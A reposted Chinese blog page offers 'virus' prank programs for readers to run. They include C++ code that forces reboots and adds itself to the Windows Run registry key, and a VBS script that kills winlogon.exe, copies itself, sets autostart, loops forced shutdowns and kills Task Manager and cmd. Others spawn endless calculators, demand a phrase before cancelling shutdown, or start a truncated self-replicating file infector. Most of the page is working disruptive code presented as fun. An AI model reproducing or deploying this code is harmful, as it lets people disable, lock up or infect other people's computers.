病毒代码「建议收藏」

病毒代码「建议收藏」【病毒小程序】关于病毒的代码可以用来运行一下,你的电脑可能会发生……但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.关机代码#includeusingnamespacestd;

大家好,又见面了,我是你们的朋友全栈君。

【病毒小程序】关于病毒的代码

可以用来运行一下,你的电脑可能会发生……但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.

关机代码

  

#include
using namespace std;
void main()
{
system(“cmd /c shutdown -s -t 60”); //这是调用cmd
system(“pause”);
}
相信这很简单吧!
还有个方法
#include
#include<shlobj.h>
#include<shellapi.h>
using namespace std;
void main()
{
ShellExecute(NULL,“open”,“cmd.EⅩE”,"/c shutdown -s -t 60",NULL,SW_HIDE);
system(“pause”);

}  

 

加强版本

// shutdownDemo.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>

BOOL MySystemShutdown()
{
HANDLE hToken;    //用于操作的句柄
TOKEN_PRIVILEGES tkp;    //用于存放特定信息

// Get a token for this process. 

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(FALSE);

// Get the LUID for the shutdown privilege. 
//如果要提权的话要在下面这两个函数提权

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set 
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get the shutdown privilege for this process.    


AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);

if (GetLastError() != ERROR_SUCCESS)
return FALSE;

// Shut down the system and force all applications to close. 

if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE,
SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
SHTDN_REASON_MINOR_UPGRADE |
SHTDN_REASON_FLAG_PLANNED))
return FALSE;

//shutdown was successful
return TRUE;
}


int _tmain(int argc, _TCHAR* argv[])
{
getchar();
HKEY hKey = { 0 };

/*LONG RegOpenKeyEx(
HKEY hKey, // 需要打开的主键的名称
LPCTSTR lpSubKey, //需要打开的子键的名称
DWORD ulOptions, // 保留,设为0
REGSAM samDesired, // 安全访问标记,也就是权限
PHKEY phkResult // 得到的将要打开键的句柄
)*/

RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);    //打开一个指定的注册表键
char path[MAX_PATH] = { 0 };
GetModuleFileNameA(nullptr, path, MAX_PATH);    //获取当前文件路径

RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path));
MySystemShutdown();
return 0;
}

 

  

卡死代码

#include <stdio.h>
void main()
{
long int i;
while(i < =100000000)
{
printf("""");
i--;
}
}

 

 

打开无数计算机

“`

set wsh=createobject(“wscript.shell”)
do
wsh.run “calc”
loop
这段代码是打开无数个计算器,直到死机 ,也是保存为.vbs格式

  

“`

 VBS系列格式代码

甩不掉的魔鬼

WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName)
WScript.Echo(“你是可爱的小朋吗?”)
WScript.Echo(“哈,我想你拉,这你都不知道吗?”)
WScript.Echo(“怎么才来,说~是不是不关心我”)
WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”)
WScript.Echo(“小强很生气,后果很严重哦。”)
WScript.Echo(“嘿嘿!你也会很惨滴哦”)
WScript.Echo(“是不是想清除我?”)
WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴”)
WScript.Echo(“还剩49下,快点点哦”)
WScript.Echo(“还剩48下,快点,小笨蛋!”)
WScript.Echo(“还剩47下对,就这样快点点!”)
WScript.Echo(“还剩46下。你啊就是笨,要快哦,我先不打扰你工作。”)
WScript.Echo(“还剩45下,记得要快哦!”)
WScript.Echo(“还剩43下”)
WScript.Echo(“还剩42下”)
WScript.Echo(“还剩41下”)
WScript.Echo(“还剩40下”)
WScript.Echo(“还剩39下”)
WScript.Echo(“还剩38下”)
WScript.Echo(“还剩37下”)
WScript.Echo(“还剩36下”)
WScript.Echo(“还剩35下”)
WScript.Echo(“还剩34下”)
WScript.Echo(“还剩33下”)
WScript.Echo(“还剩32下”)
WScript.Echo(“还剩30下”)
WScript.Echo(“还剩29下”)
WScript.Echo(“还剩28下”)
WScript.Echo(“还剩27下”)
WScript.Echo(“还剩26下”)
WScript.Echo(“还剩25下”)
WScript.Echo(“还剩24下”)
WScript.Echo(“还剩23下”)
WScript.Echo(“还剩22下”)
WScript.Echo(“还剩21下”)
WScript.Echo(“还剩20下”)
WScript.Echo(“还剩19下”)
WScript.Echo(“还剩18下”)
WScript.Echo(“还剩17下”)
WScript.Echo(“还剩16下”)
WScript.Echo(“还剩15下”)
WScript.Echo(“还剩14下”)
WScript.Echo(“还剩13下停停!!!慢点,我有话要说”)
WScript.Echo(“还剩12下,你继续点我就会消失滴”)
WScript.Echo(“还剩11下,以后就看不到我拉。555555”)
WScript.Echo(“还剩10下,你现在可以选择停止!”)
WScript.Echo(“还剩9下。你还点啊,不要我拉?”)
WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家”)
WScript.Echo(“还剩7下。疯了,你有点负意!”)
WScript.Echo(“还剩6下。对。你就点吧,我恨你!”)
WScript.Echo(“还剩5下,不明白,删除我你就好吗?”)
WScript.Echo(“还剩4下!真要删除我?”)
WScript.Echo(“还剩3下。可是我真的很眷恋你。。。”)
WScript.Echo(“还剩2下。不要这么绝情嘛,人家是爱你的!”)
WScript.Echo(“还剩1下。哼,既然你这么绝情。也别怪我无义!!!”)
WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一次”)

 

糊弄

while(1)
msgbox “哈哈 你被耍了!”
loop

vbs.

 

  

程序病毒

熊猫烧香

@echo off
echo 正在加载熊猫烧香病毒,请稍等......
echo 准备删除系统文件。。。
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清理系统垃圾完成!

 

  

蓝屏代码

#include <windows.h>

#define NUM 32767

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static int iKeep[NUM][4];
HDC hdcScr, hdcMem;
int cx, cy;
HBITMAP hBitmap;
HWND hwnd;
int i, j, x1, y1, x2, y2;

if (LockWindowUpdate(hwnd = GetDesktopWindow()))
{
hdcScr = GetDCEx(hwnd, NULL, DCX_CACHE | DCX_LOCKWINDOWUPDATE);
hdcMem = CreateCompatibleDC(hdcScr);
cx = GetSystemMetrics(SM_CXSCREEN) / 10;
cy = GetSystemMetrics(SM_CYSCREEN) / 10;
hBitmap = CreateCompatibleBitmap(hdcScr, cx, cy);

SelectObject(hdcMem, hBitmap);

srand((int)GetCurrentTime());

for (i = 0; i < 2; i++)
for (j = 0; j < NUM; j++)
{
LockWindowUpdate(hwnd = GetDesktopWindow());
if (i == 0)
{
iKeep[j][0] = x1 = cx * (rand() % 10);
iKeep[j][1] = y1 = cy * (rand() % 10);
iKeep[j][2] = x2 = cx * (rand() % 10);
iKeep[j][3] = y2 = cy * (rand() % 10);
}
else
{
x1 = iKeep[NUM - 1 - j][0];
y1 = iKeep[NUM - 1 - j][1];
x2 = iKeep[NUM - 1 - j][2];
y2 = iKeep[NUM - 1 - j][3];
}
BitBlt(hdcMem, 0, 0, cx, cy, hdcScr, x1, y1, SRCCOPY);
BitBlt(hdcScr, x1, y1, cx, cy, hdcScr, x2, y2, SRCCOPY);
BitBlt(hdcScr, x2, y2, cx, cy, hdcMem, 0, 0, SRCCOPY);
}

DeleteDC(hdcMem);
ReleaseDC(hwnd, hdcScr);
DeleteObject(hBitmap);
}
return 0;
}
```
**加强版**

```
for each ps in getobject(“winmgmts:\.\root\cimv2:win32_process”).instances_
ifUcase(ps.name)=Ucase(“winlogon.exe”) then
ps.terminate
end if
next

for each ps ingetobject(“winmgmts:\.\root\cimv2:win32_process”).instances_
ifUcase(ps.name)=Ucase(“winlogon.exe”) then
ps.terminate
end if
next

Setws=CreateObject(“WScript.Shell”)
setfs=createobject(“scripting.filesystemobject”)
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin",“C:\admin123.vbs”
loop
ws.run “shutdown -s -f -t 60do
wscript.sleep 500
if ws.appactivate(“Windows 任务管理器”)=truethen
ws.run “taskkill /f /imTaskmgr.exe”
end if
if ws.appactivate(“命令提示符”)=truethen
ws.run “taskkill /f /im cmd.exe”
end if
ifws.appactivate(“C:\WINDOWS\system32\cmd.exe”)=true then
ws.run “taskkill /f /im cmd.exe”
end if
if ws.appactivate(“系统关机”)=falsethen
ws.run “shutdown -s -f -t 30”
end if
loop

改成.vbs
```

一般病毒
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char input[10];

system("shutdown -s -t 60");
flag:
printf("1分钟之后关机,请输入\"我是猪\"三个字解除\n");
scanf("%s",input);
if(strcmp(input, "我是狗") == 0)
{
system("shutdown -a");
}
else
{
goto flag;
}
return 0;
}

 

  

“`
最后,在给你们介绍一个加快电脑速度的代码:

#include<windows.h>
using namespace std;
int main(){
system("start C:/a.exe");
}

 

  

运行一下…….
你发现会闪现,点击程序栏,按Ctrl+C停止程序,试一试.

void vir()
{ 
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);

WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码 
string FileCode[500]; //宿主代码

int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度 

 

  

 
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/154539.html原文链接:https://javaforall.net

(2)
上一篇 2022年7月1日 下午7:16
下一篇 2022年7月1日 下午7:36


相关推荐

  • JavaScript 面向对象编程浅谈

    JavaScript 面向对象编程浅谈CreatedbyYiy codingLasted 年 7 月 20 日 JavaScript 创建对象的几种方式 第一种 对象字面量的方式 varperson firstName Mark lastName Yun age 25 sayHello function alert Hello

    2026年3月18日
    2
  • Windows留后门–教程(五)——shift粘贴键后门

    Windows留后门–教程(五)——shift粘贴键后门一、shift粘贴键后门介绍Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。(辅助功能镜像劫持是一样的原理)二、shift粘贴键后门-教程前提条件:假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器administrator权限靶机:windowsServer2012IP:192.168.2

    2025年11月19日
    8
  • 十大Intellij IDEA快捷键

    十大Intellij IDEA快捷键IntellijIDEA中有很多快捷键让人爱不释手,stackoverflow上也有一些有趣的讨论。每个人都有自己的最爱,想排出个理想的榜单还真是困难。以前也整理过Intellij的快捷键,这次就按照我日常开发时的使用频率,简单分类列一下我最喜欢的十大快捷-神-键吧。1智能提示Intellij最强大的功能当然就是Intelligence智能!基本的代码提示用Ctrl+Space,还有…

    2022年5月14日
    41
  • Kappa系数简单介绍

    Kappa系数简单介绍kappa 系数是统计学中度量一致性的指标 值在 1 1 对于评分系统 一致性就是不同打分人平均的一致性 对于分类问题 一致性就是模型预测结果和实际分类结果是否一致 kappa 系数的计算是基于混淆矩阵 取值为 1 到 1 之间 通常大于 0 简单 kappa 下面的表格是真实类别和预测类别的混淆矩阵 其中 aija ij aij 表示真实为 iii 预测为 jjj 的样本数量 NNN 为样本总量 ai jaij a j iaij a i sum j a ij a j

    2026年3月19日
    2
  • 扣子抠图工作流教程

    扣子抠图工作流教程

    2026年3月13日
    2
  • vim学习笔记

    vim学习笔记

    2022年2月6日
    55

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号